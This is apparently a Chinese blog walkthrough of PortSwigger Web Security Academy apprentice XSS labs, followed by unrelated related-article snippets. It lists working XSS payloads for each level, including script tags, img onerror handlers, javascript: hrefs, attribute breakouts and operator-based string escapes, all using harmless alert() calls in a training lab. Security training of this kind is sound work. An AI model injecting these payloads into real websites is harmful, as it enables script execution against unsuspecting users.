Postswigger 靶场 XSS 通关

文章目录

  • PostSwigger靶场XSS通关
    • 学徒:第一关
    • 学徒:第二关
    • 学徒:第三关
    • 学徒:第四关
    • 学徒:第五关
    • 学徒:第六关
    • 学徒:第七关
    • 学徒:第八关
    • 学徒:第九关

PostSwigger靶场XSS通关

靶场地址:All labs | Web Security Academy (portswigger.net)。

学徒:第一关

<script>alert(/wuhu/)</script>

image-20230826114131596

image-20230826114056603

学徒:第二关

在页面上没有输入框,进入到博客中查看。

在博客的留言版中输入我们的攻击代码

<script>alert(/wuhu/)</script>

image-20230826143357901

点击返回博客

image-20230826143413810

成功弹框

image-20230826143421127

学徒:第三关

输入攻击代码查看页面反应

<script>alert(/wuhu/)</script>

image-20230826144805799

发现我们的攻击代码被传递到了img标签中,这里我们可以尝试将该标签闭合。

构造攻击代码:

"> <script>alert(/wuhu/)</script>

image-20230826144915096

学徒:第四关

输入参数查看页面反应

wuhu

image-20230826150215300

页面没有任何响应,查看网页源代码

image-20230826150101632

发现我们的攻击代码被传入到了一个span标签中,构造攻击代码

<script>alert(/wuhu/)</script>

页面还是没有弹窗,怀疑这里将script标签过滤了

image-20230826150328096

重新构造攻击代码

<img src='#' onerror='alert(/wuhu/)'>
<img src='#' onclick='alert(/wuhu/)'>

image-20230826151451280

学徒:第五关

发现页面中多了一个提交反馈

image-20230826153720896

进入到提交反馈页面

image-20230826153814013

在message中输入构造的攻击代码

<script>alert(/wuhu/)</script>

发现页面没有任何反应,查看页面提示

image-20230826153942439

这里让我们更改href属性。没什么思路,查看一下页面源代码

image-20230826154055443

观察发现,参数returnPath的值会回显到href属性中,底下的script中的代码也验证了。

image-20230826154210528

image-20230826154219533

构造我们的攻击代码

javascript:alert(/wuhu/)

image-20230826154349063

image-20230826154417823

学徒:第六关

学徒:第七关

在输入框输入攻击代码,观察页面反应

<script>alert(/wuhu/)</script>

image-20230826155602724页面将我们输入的攻击代码传递到了input标签的value参数中。

image-20230826155639226

这里我们可以将value参数闭合,然后添加一个响应事件。

构造我们的攻击代码:

" onmouseover = 'alert(/wuhu/)'

image-20230826155440023

学徒:第八关

第八关的提示

image-20230826155951718

提示我们需要提交一个评论,然后在点击评论作者名称的时候调用报警函数。

先提交一个普通的攻击代码查看页面反应。

<script>alert(/wuhu/)</script>

image-20230826160253854

找到了注入点位置,在a标签的href中,那么我们就可以构造攻击代码了,这里采用伪协议的方式,在Website中来构造攻击代码

javascript:alert('http://')

image-20230826160426651

然后点击我们的提交评论的名字即可弹框。

image-20230826160652359

学徒:第九关

输入基础攻击代码,查看页面响应

<script>alert(/wuhu/)</script>

image-20230826165426360

查看页面源代码发现尖括号,反斜杠,单引号,双引号已经被编码了。

那么可以使用中划线/减号,也就是说减号两边的对象也是会先作为js执行,毕竟要先得到两边的值才能进行算数计算。

'-alert(666)-'

因此除了减号,其他数学运算符号和位运算符号也可以,后面绕过XSS的思路就更多了。

'+alert(1)+'
'/alert(1)/'
'%alert(1)%'
'*alert(1)*'
'^alert(1)^'
'>>alert(1)>>'
'<<alert(1)<<'
'<alert(1)<'
'>alert(1)>'
'==alert(1)=='

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/218753.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

插入排序——折半插入排序

1、简述&#xff1a; 折半插入排序&#xff08;binary insertion sort&#xff09;是对插入排序算法的一种改进&#xff0c;由于排序算法过程中&#xff0c;就是不断的依次将元素插入前面已排好序的序列中。由于前半部分为已排好序的数列&#xff0c;这样我们不用按顺序依次寻…

项目部署阿里云服务器详细流程

1.购买域名 官网 域名的作用的是为了DNS解析&#xff0c;这样被人访问的不再是一连串的IP地址&#xff0c;而是形如 www.xxx.com 这样的网站 域名购买流程较长&#xff0c;还需备案&#xff0c;所以能提前准备好&#xff0c;10块左右买个.top域名

Python—KNN分类算法

原文: https://zhuanlan.zhihu.com/p/143092725 1. 概述 KNN 可以说是最简单的分类算法之一&#xff0c;同时&#xff0c;它也是最常用的分类算法之一。注意&#xff1a;KNN 算法是有监督学习中的分类算法&#xff0c;它看起来和另一个机器学习算法 K-means 有点像&#xff0…

百安居的数字化之路:找到用户的“连接器”

从线下客流遭遇悬崖式下跌到逐步回升&#xff0c;越来越多企业认识到&#xff0c;用户消费习惯的改变已经不可逆地影响着各行各业&#xff0c;只有让组织、人员、系统、产品等元素产生新的连接和协同&#xff0c;才能不断强化企业对抗风险的能力。这个过程&#xff0c;也是数字…

LeetCode452. Minimum Number of Arrows to Burst Balloons

文章目录 一、题目二、题解 一、题目 There are some spherical balloons taped onto a flat wall that represents the XY-plane. The balloons are represented as a 2D integer array points where points[i] [xstart, xend] denotes a balloon whose horizontal diameter…

改进的A*算法的路径规划(3)

5.4实验结果与讨论 为验证本文算法的有效性&#xff0c;在模拟越野环境中完成路径规划&#xff0c;并通过仿真对比 实验验证了本文改进算法的可行性和综合性能的优越性。 5.4.1 与 传 统A*实验对比 为了验证改进A* 算法与传统A* 的优越性&#xff0c;建立了7050的栅格地图(并…

如何制作AI数字人高清模型?

数字人是什么&#xff1f;重新下一个定义&#xff1a;"把人数字化&#xff0c;以行人的职责“它是用AI技术根据你的真人形象克隆出一个数字人&#xff0c;跟真人的相似度可以达到100%以上的&#xff0c;像你的动作、表情还有声音&#xff0c;都是可以被克隆出来。克隆出来…

SpringBoot程序打包失败处理

&#x1f648;作者简介&#xff1a;练习时长两年半的Java up主 &#x1f649;个人主页&#xff1a;程序员老茶 &#x1f64a; ps:点赞&#x1f44d;是免费的&#xff0c;却可以让写博客的作者开心好久好久&#x1f60e; &#x1f4da;系列专栏&#xff1a;Java全栈&#xff0c;…

Unity有限状态机

一、引言 在游戏开发中&#xff0c;经常会遇到游戏角色或实体具有多种状态&#xff0c;并且在不同状态之间需要切换的情况。例如&#xff0c;一个角色可能处于行走、奔跑、跳跃等不同的状态&#xff0c;并且根据玩家的输入或游戏逻辑&#xff0c;在这些状态之间进行切换。为了…

基于以太坊的智能合约开发Solidity(内存结构体篇)

参考教程&#xff1a;【内存、引用与持久化存储】1、内存与区块链——storage与memory原理_哔哩哔哩_bilibili 1、storage与memory&#xff1a; pragma solidity ^0.5.17;contract MemoryTest { uint z 1; //这是在合约中定义的状态变量&#xff0c;它会永久地&#xff08…

最新鸿蒙HarmonyOS4.0开发登陆的界面2

登陆功能 代码如下&#xff1a; import router from ohos.router; Entry Component struct Index {State message: string XXAPP登陆State userName: string ;State password: string ;build() {Row() {Column({space:50}) {Image($r(app.media.icon)).width(200).interpol…

josef约瑟 静态电压继电器 HWY-41B 19-240V 导轨式安装

HWY-40系列无辅源静态电压继电器 HWY-41A无辅源静态电压继电器 HWY-42A无辅源静态电压继电器 HWY-43A无辅源静态电压继电器 HWY-44A无辅源静态电压继电器 HWY-45A无辅源静态电压继电器 HWY-41B无辅源静态电压继电器 HWY-42B无辅源静态电压继电器 HWY-43B无辅源静态电压继电器 …

Qt之QSlider和QProgressBar

Qt之QSlider和QProgressBar 实验结果 #include "widget.h" #include "ui_widget.h"Widget::Widget(QWidget *parent) :QWidget(parent),ui(new Ui::Widget) {ui->setupUi(this);connect(ui->dial,&QDial::valueChanged,this,&Widget::do_val…

css设置背景图 路径带括号 不显示问题

我封装了一个组件&#xff0c;用于展示背景图&#xff0c;更具图片比例自适应 <template><divclass"bg-img":style"getBackground(imgSrc)"/> </template><script setup lang"ts"> defineProps<{ imgSrc: string }&…

腾讯云:AI云探索之路

随着科技的飞速发展&#xff0c;人工智能(AI)云计算领域日益显现出其巨大的潜力和价值。在这个充满挑战和机遇的领域&#xff0c;腾讯云凭借其卓越的技术和创新能力&#xff0c;取得了令人瞩目的成果。本文将深入探讨腾讯云在AI云计算领域的优势&#xff0c;以及其为人工智能发…

【概率方法】MCMC 之 Gibbs 采样

上一篇文章讲到&#xff0c;MCMC 中的 HM 算法&#xff0c;它可以解决拒绝采样效率低的问题&#xff0c;但是实际上&#xff0c;当维度高的时候 HM 算法还是在同时处理多个维度&#xff0c;以两个变量 x [ x , y ] \mathbf{x} [x,y] x[x,y] 来说&#xff0c;也就是同时从联合…

值类型相关函数与对象类型相关函数内存调用过程

值类型相关函数内存调用&#xff1a; 先来看这样一段代码&#xff0c;你认为它的运行结果是多少呢&#xff1f; 20和11还是20和10&#xff1f; package org.example;public class Main {public static void main(String[] args) {int a10;add(a);System.out.println(a);}pub…

js Array.every()的使用

2023.12.13今天我学习了如何使用Array.every()的使用&#xff0c;这个方法是用于检测数组中所有存在的元素。 比如我们需要判断这个数组里面的全部元素是否都包含张三&#xff0c;可以这样写&#xff1a; let demo [{id: 1, name: 张三}, {id: 2, name: 张三五}, {id: 3, name…

golang实现同步阻塞、同步非阻塞、异步非阻塞IO模型

一、同步阻塞IO模型TCP和HTTP示例 同步阻塞IO符合我们的直觉认知,应用程序从TCP连接接收数据缓冲区接受数据,如果没有数据就等待——此处就是阻塞,如果有数据需要把数据从内核空间读取到用户空间——此处就是同步。 在Go语言中进行同步阻塞IO编程TCP交互,可以使用标准库中…

一文读懂持续集成和持续部署的差异?

持续集成&#xff08;CI&#xff09;和持续部署&#xff08;CD&#xff09;是现代软件开发中的关键实践。虽然它们经常被同时提到并具有共同的目标&#xff0c;但它们的方法、目的和对开发周期的影响是不同的。对于任何寻求根据特定项目需求优化工作流程的开发团队来说&#xf…